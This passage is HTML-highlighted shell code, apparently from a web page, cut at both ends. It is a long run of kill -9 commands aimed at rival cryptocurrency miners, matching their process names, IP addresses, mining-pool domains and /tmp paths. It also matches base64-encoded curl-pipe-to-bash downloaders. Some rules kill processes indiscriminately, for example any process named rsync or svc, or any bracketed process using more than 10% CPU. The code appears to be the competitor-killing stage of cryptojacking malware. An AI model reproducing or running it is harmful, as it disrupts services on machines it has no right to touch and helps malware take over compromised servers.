class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :5555 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :6666 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :6665 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :6667 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :7777 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :8444 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">netstat -anp | grep :3347 | awk <span class="string">&#x27;&#123;print $7&#125;&#x27;</span> | awk -F<span class="string">&#x27;[/]&#x27;</span> <span class="string">&#x27;&#123;print $1&#125;&#x27;</span> | grep -v <span class="string">&quot;-&quot;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;:3333&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;:5555&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;kworker -c\&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;log_&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;systemten&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;netns&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;voltuned&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;darwin&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/dl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/ddg&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/pprt&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/ppol&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/65ccE*&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/jmx*&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/2Ne80*&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;IOFoqIgyC0zmf2UR&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;45.76.122.92&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;51.38.191.178&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;51.15.56.161&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;86s.jpg&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;aGTSGJJp&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;nMrfmnRa&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;PuNY5tm2&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;I0r8Jyyt&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;AgdgACUD&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;uiZvwxG8&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;hahwNEdB&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;BtwXn5qH&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;3XEzey2T&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;t2tKrCSZ&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;svc&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;HD7fcBgg&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;zXcDajSs&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;3lmigMo&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;AkMK4A2&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;AJ2AkKe&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;HiPxCJRS&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;http_0xCC030&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;http_0xCC031&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;http_0xCC032&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;http_0xCC033&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;C4iLM4L&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;aziplcr72qjhzvin&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | awk <span class="string">&#x27;&#123; if(substr($11,1,2)==&quot;./&quot; &amp;&amp; substr($12,1,2)==&quot;./&quot;) print $2 &#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/boot/vmlinuz&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;i4b503a52cc5&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;dgqtrcst23rtdi3ldqk322j2&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;2g0uv7npuhrlatd&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;nqscheduler&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;rkebbwgqpl4npmm&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep -v aux | grep <span class="string">&quot;]&quot;</span> | awk <span class="string">&#x27;$3&gt;10.0&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;2fhtu70teuhtoh78jc5s&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;0kwti6ut420t&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;44ct7udt0patws3agkdfqnjm&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep -v <span class="string">&quot;/&quot;</span> | grep -v <span class="string">&quot;-&quot;</span> | grep -v <span class="string">&quot;_&quot;</span> | awk <span class="string">&#x27;length($11)&gt;19&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;\[^&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;rsync&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;watchd0g&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | egrep <span class="string">&#x27;wnTKYg|2t3ik|qW3xT.2|ddg&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;158.69.133.18:8220&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;/tmp/java&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;gitee.com&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/java&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;104.248.4.162&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;89.35.39.78&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/dev/shm/z3.sh&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;kthrotlds&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;ksoftirqds&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;netdns&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;watchdogs&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;kdevtmpfsi&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;kinsing&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;redis2&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line"><span class="comment">#ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi | awk &#x27;$3&gt;80.0&#123;print $2&#125;&#x27; | xargs -I % kill -9 %</span></span><br><span class="line">ps aux | grep -v grep | grep -v aux | grep <span class="string">&quot; ps&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;sync_supers&quot;</span> | cut -c 9-15 | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&quot;cpuset&quot;</span> | cut -c 9-15 | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep -v aux | grep <span class="string">&quot;x]&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep -v aux | grep <span class="string">&quot;sh] &lt;&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep -v aux | grep <span class="string">&quot; \[]&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/l.sh&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/zmcat&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;hahwNEdB&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;CnzFVPLF&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;CvKzzZLs&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;aziplcr72qjhzvin&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;/tmp/udevd&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;sustse&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;sustse3&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;mr.sh&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;mr.sh&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;2mr.sh&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;2mr.sh&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;cr5.sh&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;cr5.sh&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;logo9.jpg&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;logo9.jpg&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;j2.conf&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;luk-cpu&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;luk-cpu&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;ficov&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;ficov&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;he.sh&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;he.sh&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;miner.sh&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;miner.sh&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;nullcrew&#x27;</span> | grep <span class="string">&#x27;wget&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;nullcrew&#x27;</span> | grep <span class="string">&#x27;curl&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;107.174.47.156&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;83.220.169.247&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;51.38.203.146&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;144.217.45.45&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;107.174.47.181&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps aux | grep -v grep | grep <span class="string">&#x27;176.31.6.16&#x27;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;mine.moneropool.com&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;pool.t00ls.ru&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;xmr.crypto-pool.fr:8080&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;xmr.crypto-pool.fr:3333&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;zhuabcn@yahoo.com&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;monerohash.com&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf | grep -v grep | grep <span class="string">&quot;/tmp/a7b104c270&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | xargs -I % <span class="built_in">kill</span> -9 %</span><br><span class="line">ps auxf 